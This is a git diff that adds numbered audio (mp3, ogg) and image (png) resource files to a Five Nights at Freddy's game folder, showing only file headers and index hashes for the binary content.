diff --git a/games/fnaf/fnaf1/resources/0034.ogg b/games/fnaf/fnaf1/resources/0034.ogg
new file mode 100644
index 00000000..79bf2d94
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0034.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0035.mp3 b/games/fnaf/fnaf1/resources/0035.mp3
new file mode 100644
index 00000000..bb15e4c2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0035.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0035.ogg b/games/fnaf/fnaf1/resources/0035.ogg
new file mode 100644
index 00000000..d772c2f7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0035.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0036.mp3 b/games/fnaf/fnaf1/resources/0036.mp3
new file mode 100644
index 00000000..598ecef0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0036.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0036.ogg b/games/fnaf/fnaf1/resources/0036.ogg
new file mode 100644
index 00000000..a8378313
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0036.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0037.mp3 b/games/fnaf/fnaf1/resources/0037.mp3
new file mode 100644
index 00000000..341ea8ff
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0037.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0037.ogg b/games/fnaf/fnaf1/resources/0037.ogg
new file mode 100644
index 00000000..1dbebb15
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0037.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0038.mp3 b/games/fnaf/fnaf1/resources/0038.mp3
new file mode 100644
index 00000000..a548760d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0038.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0038.ogg b/games/fnaf/fnaf1/resources/0038.ogg
new file mode 100644
index 00000000..9d548a76
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0038.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0039.mp3 b/games/fnaf/fnaf1/resources/0039.mp3
new file mode 100644
index 00000000..5c418f7f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0039.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0039.ogg b/games/fnaf/fnaf1/resources/0039.ogg
new file mode 100644
index 00000000..92e17679
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0039.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0039.png b/games/fnaf/fnaf1/resources/0039.png
new file mode 100644
index 00000000..371d0300
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0039.png differ
diff --git a/games/fnaf/fnaf1/resources/0040.mp3 b/games/fnaf/fnaf1/resources/0040.mp3
new file mode 100644
index 00000000..f9e9c5fb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0040.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0040.ogg b/games/fnaf/fnaf1/resources/0040.ogg
new file mode 100644
index 00000000..055b0792
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0040.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0041.mp3 b/games/fnaf/fnaf1/resources/0041.mp3
new file mode 100644
index 00000000..4f75c2db
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0041.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0041.ogg b/games/fnaf/fnaf1/resources/0041.ogg
new file mode 100644
index 00000000..0f4f8a0e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0041.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0041.png b/games/fnaf/fnaf1/resources/0041.png
new file mode 100644
index 00000000..b4b99b39
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0041.png differ
diff --git a/games/fnaf/fnaf1/resources/0042.mp3 b/games/fnaf/fnaf1/resources/0042.mp3
new file mode 100644
index 00000000..88e2ebe4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0042.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0042.ogg b/games/fnaf/fnaf1/resources/0042.ogg
new file mode 100644
index 00000000..d3fc4e2e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0042.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0043.mp3 b/games/fnaf/fnaf1/resources/0043.mp3
new file mode 100644
index 00000000..96d623f7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0043.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0043.ogg b/games/fnaf/fnaf1/resources/0043.ogg
new file mode 100644
index 00000000..e6ec660b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0043.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0043.png b/games/fnaf/fnaf1/resources/0043.png
new file mode 100644
index 00000000..0496268d
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0043.png differ
diff --git a/games/fnaf/fnaf1/resources/0044.mp3 b/games/fnaf/fnaf1/resources/0044.mp3
new file mode 100644
index 00000000..a92580a3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0044.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0044.ogg b/games/fnaf/fnaf1/resources/0044.ogg
new file mode 100644
index 00000000..57401072
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0044.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0044.png b/games/fnaf/fnaf1/resources/0044.png
new file mode 100644
index 00000000..4bfde4a8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0044.png differ
diff --git a/games/fnaf/fnaf1/resources/0045.mp3 b/games/fnaf/fnaf1/resources/0045.mp3
new file mode 100644
index 00000000..1a6e662b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0045.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0045.ogg b/games/fnaf/fnaf1/resources/0045.ogg
new file mode 100644
index 00000000..3cdb33e0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0045.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0046.mp3 b/games/fnaf/fnaf1/resources/0046.mp3
new file mode 100644
index 00000000..b7b0c676
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0046.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0046.ogg b/games/fnaf/fnaf1/resources/0046.ogg
new file mode 100644
index 00000000..9af8c2bb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0046.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0046.png b/games/fnaf/fnaf1/resources/0046.png
new file mode 100644
index 00000000..e906ade5
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0046.png differ
diff --git a/games/fnaf/fnaf1/resources/0048.png b/games/fnaf/fnaf1/resources/0048.png
new file mode 100644
index 00000000..bffd5811
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0048.png differ
diff --git a/games/fnaf/fnaf1/resources/0049.png b/games/fnaf/fnaf1/resources/0049.png
new file mode 100644
index 00000000..8a55ae32
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0049.png differ
diff --git a/games/fnaf/fnaf1/resources/0055.mp3 b/games/fnaf/fnaf1/resources/0055.mp3
new file mode 100644
index 00000000..0544476a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0055.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0055.ogg b/games/fnaf/fnaf1/resources/0055.ogg
new file mode 100644
index 00000000..12f8d01b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0055.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0056.mp3 b/games/fnaf/fnaf1/resources/0056.mp3
new file mode 100644
index 00000000..7d4944ab
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0056.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0056.ogg b/games/fnaf/fnaf1/resources/0056.ogg
new file mode 100644
index 00000000..7270d9c6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0056.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0057.mp3 b/games/fnaf/fnaf1/resources/0057.mp3
new file mode 100644
index 00000000..4d1d2f48
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0057.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0057.ogg b/games/fnaf/fnaf1/resources/0057.ogg
new file mode 100644
index 00000000..cc12a481
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0057.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0058.mp3 b/games/fnaf/fnaf1/resources/0058.mp3
new file mode 100644
index 00000000..22afd376
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0058.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0058.ogg b/games/fnaf/fnaf1/resources/0058.ogg
new file mode 100644
index 00000000..4c65a896
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0058.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0058.png b/games/fnaf/fnaf1/resources/0058.png
new file mode 100644
index 00000000..5effc736
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0058.png differ
diff --git a/games/fnaf/fnaf1/resources/0059.mp3 b/games/fnaf/fnaf1/resources/0059.mp3
new file mode 100644
index 00000000..92e02e1e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0059.mp3 differ
diff --git a/games/fnaf/fnaf1/resources/0059.ogg b/games/fnaf/fnaf1/resources/0059.ogg
new file mode 100644
index 00000000..aeef7cf3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0059.ogg differ
diff --git a/games/fnaf/fnaf1/resources/0062.png b/games/fnaf/fnaf1/resources/0062.png
new file mode 100644
index 00000000..8fa27b99
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0062.png differ
diff --git a/games/fnaf/fnaf1/resources/0065.png b/games/fnaf/fnaf1/resources/0065.png
new file mode 100644
index 00000000..5aa894ac
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0065.png differ
diff --git a/games/fnaf/fnaf1/resources/0066.png b/games/fnaf/fnaf1/resources/0066.png
new file mode 100644
index 00000000..94134547
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0066.png differ
diff --git a/games/fnaf/fnaf1/resources/0067.png b/games/fnaf/fnaf1/resources/0067.png
new file mode 100644
index 00000000..1c253ac5
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0067.png differ
diff --git a/games/fnaf/fnaf1/resources/0068.png b/games/fnaf/fnaf1/resources/0068.png
new file mode 100644
index 00000000..ad1f91cd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0068.png differ
diff --git a/games/fnaf/fnaf1/resources/0069.png b/games/fnaf/fnaf1/resources/0069.png
new file mode 100644
index 00000000..6428b687
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0069.png differ
diff --git a/games/fnaf/fnaf1/resources/0083.png b/games/fnaf/fnaf1/resources/0083.png
new file mode 100644
index 00000000..bda4d726
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0083.png differ
diff --git a/games/fnaf/fnaf1/resources/0090.png b/games/fnaf/fnaf1/resources/0090.png
new file mode 100644
index 00000000..d00b8b89
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0090.png differ
diff --git a/games/fnaf/fnaf1/resources/0120.png b/games/fnaf/fnaf1/resources/0120.png
new file mode 100644
index 00000000..c3865984
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0120.png differ
diff --git a/games/fnaf/fnaf1/resources/0126.png b/games/fnaf/fnaf1/resources/0126.png
new file mode 100644
index 00000000..8aab0a8f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0126.png differ
diff --git a/games/fnaf/fnaf1/resources/0127.png b/games/fnaf/fnaf1/resources/0127.png
new file mode 100644
index 00000000..d64ddb6b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0127.png differ
diff --git a/games/fnaf/fnaf1/resources/0132.png b/games/fnaf/fnaf1/resources/0132.png
new file mode 100644
index 00000000..425eba36
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0132.png differ
diff --git a/games/fnaf/fnaf1/resources/0133.png b/games/fnaf/fnaf1/resources/0133.png
new file mode 100644
index 00000000..4543ea4f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0133.png differ
diff --git a/games/fnaf/fnaf1/resources/0136.png b/games/fnaf/fnaf1/resources/0136.png
new file mode 100644
index 00000000..d2631595
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0136.png differ
diff --git a/games/fnaf/fnaf1/resources/0137.png b/games/fnaf/fnaf1/resources/0137.png
new file mode 100644
index 00000000..14f8b343
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0137.png differ
diff --git a/games/fnaf/fnaf1/resources/0138.png b/games/fnaf/fnaf1/resources/0138.png
new file mode 100644
index 00000000..6a71148f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0138.png differ
diff --git a/games/fnaf/fnaf1/resources/0139.png b/games/fnaf/fnaf1/resources/0139.png
new file mode 100644
index 00000000..ecf07eec
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0139.png differ
diff --git a/games/fnaf/fnaf1/resources/0140.png b/games/fnaf/fnaf1/resources/0140.png
new file mode 100644
index 00000000..3fb770cd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0140.png differ
diff --git a/games/fnaf/fnaf1/resources/0141.png b/games/fnaf/fnaf1/resources/0141.png
new file mode 100644
index 00000000..f09b227b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0141.png differ
diff --git a/games/fnaf/fnaf1/resources/0142.png b/games/fnaf/fnaf1/resources/0142.png
new file mode 100644
index 00000000..1aba57f7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0142.png differ
diff --git a/games/fnaf/fnaf1/resources/0144.png b/games/fnaf/fnaf1/resources/0144.png
new file mode 100644
index 00000000..74946d55
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0144.png differ
diff --git a/games/fnaf/fnaf1/resources/0162.png b/games/fnaf/fnaf1/resources/0162.png
new file mode 100644
index 00000000..1953d269
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0162.png differ
diff --git a/games/fnaf/fnaf1/resources/0188.png b/games/fnaf/fnaf1/resources/0188.png
new file mode 100644
index 00000000..e40d20ca
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0188.png differ
diff --git a/games/fnaf/fnaf1/resources/0190.png b/games/fnaf/fnaf1/resources/0190.png
new file mode 100644
index 00000000..0076dac1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0190.png differ
diff --git a/games/fnaf/fnaf1/resources/0205.png b/games/fnaf/fnaf1/resources/0205.png
new file mode 100644
index 00000000..c158d9e3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0205.png differ
diff --git a/games/fnaf/fnaf1/resources/0206.png b/games/fnaf/fnaf1/resources/0206.png
new file mode 100644
index 00000000..d192054b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0206.png differ
diff --git a/games/fnaf/fnaf1/resources/0210.png b/games/fnaf/fnaf1/resources/0210.png
new file mode 100644
index 00000000..8b619ba9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0210.png differ
diff --git a/games/fnaf/fnaf1/resources/0211.png b/games/fnaf/fnaf1/resources/0211.png
new file mode 100644
index 00000000..89b2349e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0211.png differ
diff --git a/games/fnaf/fnaf1/resources/0215.png b/games/fnaf/fnaf1/resources/0215.png
new file mode 100644
index 00000000..5e1563a8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0215.png differ
diff --git a/games/fnaf/fnaf1/resources/0216.png b/games/fnaf/fnaf1/resources/0216.png
new file mode 100644
index 00000000..1cecec22
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0216.png differ
diff --git a/games/fnaf/fnaf1/resources/0217.png b/games/fnaf/fnaf1/resources/0217.png
new file mode 100644
index 00000000..b84b1d6e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0217.png differ
diff --git a/games/fnaf/fnaf1/resources/0219.png b/games/fnaf/fnaf1/resources/0219.png
new file mode 100644
index 00000000..cd85009c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0219.png differ
diff --git a/games/fnaf/fnaf1/resources/0220.png b/games/fnaf/fnaf1/resources/0220.png
new file mode 100644
index 00000000..972f27d6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0220.png differ
diff --git a/games/fnaf/fnaf1/resources/0221.png b/games/fnaf/fnaf1/resources/0221.png
new file mode 100644
index 00000000..6522ce53
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0221.png differ
diff --git a/games/fnaf/fnaf1/resources/0222.png b/games/fnaf/fnaf1/resources/0222.png
new file mode 100644
index 00000000..61021cdd
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0222.png differ
diff --git a/games/fnaf/fnaf1/resources/0223.png b/games/fnaf/fnaf1/resources/0223.png
new file mode 100644
index 00000000..5d007640
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0223.png differ
diff --git a/games/fnaf/fnaf1/resources/0224.png b/games/fnaf/fnaf1/resources/0224.png
new file mode 100644
index 00000000..597175fe
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0224.png differ
diff --git a/games/fnaf/fnaf1/resources/0225.png b/games/fnaf/fnaf1/resources/0225.png
new file mode 100644
index 00000000..05086813
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0225.png differ
diff --git a/games/fnaf/fnaf1/resources/0226.png b/games/fnaf/fnaf1/resources/0226.png
new file mode 100644
index 00000000..64b20623
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0226.png differ
diff --git a/games/fnaf/fnaf1/resources/0227.png b/games/fnaf/fnaf1/resources/0227.png
new file mode 100644
index 00000000..cdacc994
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0227.png differ
diff --git a/games/fnaf/fnaf1/resources/0228.png b/games/fnaf/fnaf1/resources/0228.png
new file mode 100644
index 00000000..d52611c9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0228.png differ
diff --git a/games/fnaf/fnaf1/resources/0229.png b/games/fnaf/fnaf1/resources/0229.png
new file mode 100644
index 00000000..e9b4f2f2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0229.png differ
diff --git a/games/fnaf/fnaf1/resources/0230.png b/games/fnaf/fnaf1/resources/0230.png
new file mode 100644
index 00000000..c9569d44
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0230.png differ
diff --git a/games/fnaf/fnaf1/resources/0231.png b/games/fnaf/fnaf1/resources/0231.png
new file mode 100644
index 00000000..7e420538
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0231.png differ
diff --git a/games/fnaf/fnaf1/resources/0232.png b/games/fnaf/fnaf1/resources/0232.png
new file mode 100644
index 00000000..afbdff91
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0232.png differ
diff --git a/games/fnaf/fnaf1/resources/0233.png b/games/fnaf/fnaf1/resources/0233.png
new file mode 100644
index 00000000..d31e484f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0233.png differ
diff --git a/games/fnaf/fnaf1/resources/0234.png b/games/fnaf/fnaf1/resources/0234.png
new file mode 100644
index 00000000..fe23fd1b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0234.png differ
diff --git a/games/fnaf/fnaf1/resources/0235.png b/games/fnaf/fnaf1/resources/0235.png
new file mode 100644
index 00000000..90454da6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0235.png differ
diff --git a/games/fnaf/fnaf1/resources/0236.png b/games/fnaf/fnaf1/resources/0236.png
new file mode 100644
index 00000000..ce903004
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0236.png differ
diff --git a/games/fnaf/fnaf1/resources/0237.png b/games/fnaf/fnaf1/resources/0237.png
new file mode 100644
index 00000000..d0577084
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0237.png differ
diff --git a/games/fnaf/fnaf1/resources/0239.png b/games/fnaf/fnaf1/resources/0239.png
new file mode 100644
index 00000000..0006adb3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0239.png differ
diff --git a/games/fnaf/fnaf1/resources/0240.png b/games/fnaf/fnaf1/resources/0240.png
new file mode 100644
index 00000000..905134fa
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0240.png differ
diff --git a/games/fnaf/fnaf1/resources/0241.png b/games/fnaf/fnaf1/resources/0241.png
new file mode 100644
index 00000000..8fb8987e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0241.png differ
diff --git a/games/fnaf/fnaf1/resources/0242.png b/games/fnaf/fnaf1/resources/0242.png
new file mode 100644
index 00000000..bb3bb4f8
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0242.png differ
diff --git a/games/fnaf/fnaf1/resources/0243.png b/games/fnaf/fnaf1/resources/0243.png
new file mode 100644
index 00000000..507b4545
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0243.png differ
diff --git a/games/fnaf/fnaf1/resources/0244.png b/games/fnaf/fnaf1/resources/0244.png
new file mode 100644
index 00000000..d02b82b7
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0244.png differ
diff --git a/games/fnaf/fnaf1/resources/0245.png b/games/fnaf/fnaf1/resources/0245.png
new file mode 100644
index 00000000..94ff7fe1
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0245.png differ
diff --git a/games/fnaf/fnaf1/resources/0246.png b/games/fnaf/fnaf1/resources/0246.png
new file mode 100644
index 00000000..948d8982
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0246.png differ
diff --git a/games/fnaf/fnaf1/resources/0247.png b/games/fnaf/fnaf1/resources/0247.png
new file mode 100644
index 00000000..e6610f3e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0247.png differ
diff --git a/games/fnaf/fnaf1/resources/0248.png b/games/fnaf/fnaf1/resources/0248.png
new file mode 100644
index 00000000..030d76eb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0248.png differ
diff --git a/games/fnaf/fnaf1/resources/0250.png b/games/fnaf/fnaf1/resources/0250.png
new file mode 100644
index 00000000..6ca276d4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0250.png differ
diff --git a/games/fnaf/fnaf1/resources/0279.png b/games/fnaf/fnaf1/resources/0279.png
new file mode 100644
index 00000000..2624211a
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0279.png differ
diff --git a/games/fnaf/fnaf1/resources/0280.png b/games/fnaf/fnaf1/resources/0280.png
new file mode 100644
index 00000000..d00821fb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0280.png differ
diff --git a/games/fnaf/fnaf1/resources/0281.png b/games/fnaf/fnaf1/resources/0281.png
new file mode 100644
index 00000000..1e9f826c
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0281.png differ
diff --git a/games/fnaf/fnaf1/resources/0282.png b/games/fnaf/fnaf1/resources/0282.png
new file mode 100644
index 00000000..f01f05ef
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0282.png differ
diff --git a/games/fnaf/fnaf1/resources/0283.png b/games/fnaf/fnaf1/resources/0283.png
new file mode 100644
index 00000000..0c64e4fb
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0283.png differ
diff --git a/games/fnaf/fnaf1/resources/0284.png b/games/fnaf/fnaf1/resources/0284.png
new file mode 100644
index 00000000..03793ac0
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0284.png differ
diff --git a/games/fnaf/fnaf1/resources/0285.png b/games/fnaf/fnaf1/resources/0285.png
new file mode 100644
index 00000000..aaa0b096
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0285.png differ
diff --git a/games/fnaf/fnaf1/resources/0286.png b/games/fnaf/fnaf1/resources/0286.png
new file mode 100644
index 00000000..f6e82962
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0286.png differ
diff --git a/games/fnaf/fnaf1/resources/0287.png b/games/fnaf/fnaf1/resources/0287.png
new file mode 100644
index 00000000..040cbb87
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0287.png differ
diff --git a/games/fnaf/fnaf1/resources/0288.png b/games/fnaf/fnaf1/resources/0288.png
new file mode 100644
index 00000000..16a00a2f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0288.png differ
diff --git a/games/fnaf/fnaf1/resources/0289.png b/games/fnaf/fnaf1/resources/0289.png
new file mode 100644
index 00000000..d72e82e6
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0289.png differ
diff --git a/games/fnaf/fnaf1/resources/0290.png b/games/fnaf/fnaf1/resources/0290.png
new file mode 100644
index 00000000..92fa2cc5
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0290.png differ
diff --git a/games/fnaf/fnaf1/resources/0291.png b/games/fnaf/fnaf1/resources/0291.png
new file mode 100644
index 00000000..e4078338
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0291.png differ
diff --git a/games/fnaf/fnaf1/resources/0292.png b/games/fnaf/fnaf1/resources/0292.png
new file mode 100644
index 00000000..1cfcbca3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0292.png differ
diff --git a/games/fnaf/fnaf1/resources/0293.png b/games/fnaf/fnaf1/resources/0293.png
new file mode 100644
index 00000000..bfbf1328
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0293.png differ
diff --git a/games/fnaf/fnaf1/resources/0294.png b/games/fnaf/fnaf1/resources/0294.png
new file mode 100644
index 00000000..879d712b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0294.png differ
diff --git a/games/fnaf/fnaf1/resources/0295.png b/games/fnaf/fnaf1/resources/0295.png
new file mode 100644
index 00000000..83609fbf
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0295.png differ
diff --git a/games/fnaf/fnaf1/resources/0296.png b/games/fnaf/fnaf1/resources/0296.png
new file mode 100644
index 00000000..f8871012
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0296.png differ
diff --git a/games/fnaf/fnaf1/resources/0297.png b/games/fnaf/fnaf1/resources/0297.png
new file mode 100644
index 00000000..fc67caee
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0297.png differ
diff --git a/games/fnaf/fnaf1/resources/0298.png b/games/fnaf/fnaf1/resources/0298.png
new file mode 100644
index 00000000..7b123a32
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0298.png differ
diff --git a/games/fnaf/fnaf1/resources/0299.png b/games/fnaf/fnaf1/resources/0299.png
new file mode 100644
index 00000000..fce35e26
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0299.png differ
diff --git a/games/fnaf/fnaf1/resources/0300.png b/games/fnaf/fnaf1/resources/0300.png
new file mode 100644
index 00000000..2ee52914
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0300.png differ
diff --git a/games/fnaf/fnaf1/resources/0301.png b/games/fnaf/fnaf1/resources/0301.png
new file mode 100644
index 00000000..9c020d63
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0301.png differ
diff --git a/games/fnaf/fnaf1/resources/0302.png b/games/fnaf/fnaf1/resources/0302.png
new file mode 100644
index 00000000..39e771e4
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0302.png differ
diff --git a/games/fnaf/fnaf1/resources/0303.png b/games/fnaf/fnaf1/resources/0303.png
new file mode 100644
index 00000000..0b4af09f
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0303.png differ
diff --git a/games/fnaf/fnaf1/resources/0304.png b/games/fnaf/fnaf1/resources/0304.png
new file mode 100644
index 00000000..e2b62313
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0304.png differ
diff --git a/games/fnaf/fnaf1/resources/0305.png b/games/fnaf/fnaf1/resources/0305.png
new file mode 100644
index 00000000..ee3aae89
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0305.png differ
diff --git a/games/fnaf/fnaf1/resources/0306.png b/games/fnaf/fnaf1/resources/0306.png
new file mode 100644
index 00000000..54fe308e
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0306.png differ
diff --git a/games/fnaf/fnaf1/resources/0307.png b/games/fnaf/fnaf1/resources/0307.png
new file mode 100644
index 00000000..382917d3
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0307.png differ
diff --git a/games/fnaf/fnaf1/resources/0308.png b/games/fnaf/fnaf1/resources/0308.png
new file mode 100644
index 00000000..90ef6ce2
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0308.png differ
diff --git a/games/fnaf/fnaf1/resources/0309.png b/games/fnaf/fnaf1/resources/0309.png
new file mode 100644
index 00000000..61f771a5
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0309.png differ
diff --git a/games/fnaf/fnaf1/resources/0310.png b/games/fnaf/fnaf1/resources/0310.png
new file mode 100644
index 00000000..b77d77ad
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0310.png differ
diff --git a/games/fnaf/fnaf1/resources/0311.png b/games/fnaf/fnaf1/resources/0311.png
new file mode 100644
index 00000000..9471c081
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0311.png differ
diff --git a/games/fnaf/fnaf1/resources/0312.png b/games/fnaf/fnaf1/resources/0312.png
new file mode 100644
index 00000000..b2db04ba
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0312.png differ
diff --git a/games/fnaf/fnaf1/resources/0313.png b/games/fnaf/fnaf1/resources/0313.png
new file mode 100644
index 00000000..d8fedfa9
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0313.png differ
diff --git a/games/fnaf/fnaf1/resources/0314.png b/games/fnaf/fnaf1/resources/0314.png
new file mode 100644
index 00000000..46786136
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0314.png differ
diff --git a/games/fnaf/fnaf1/resources/0315.png b/games/fnaf/fnaf1/resources/0315.png
new file mode 100644
index 00000000..1d53754b
Binary files /dev/null and b/games/fnaf/fnaf1/resources/0315.png differ
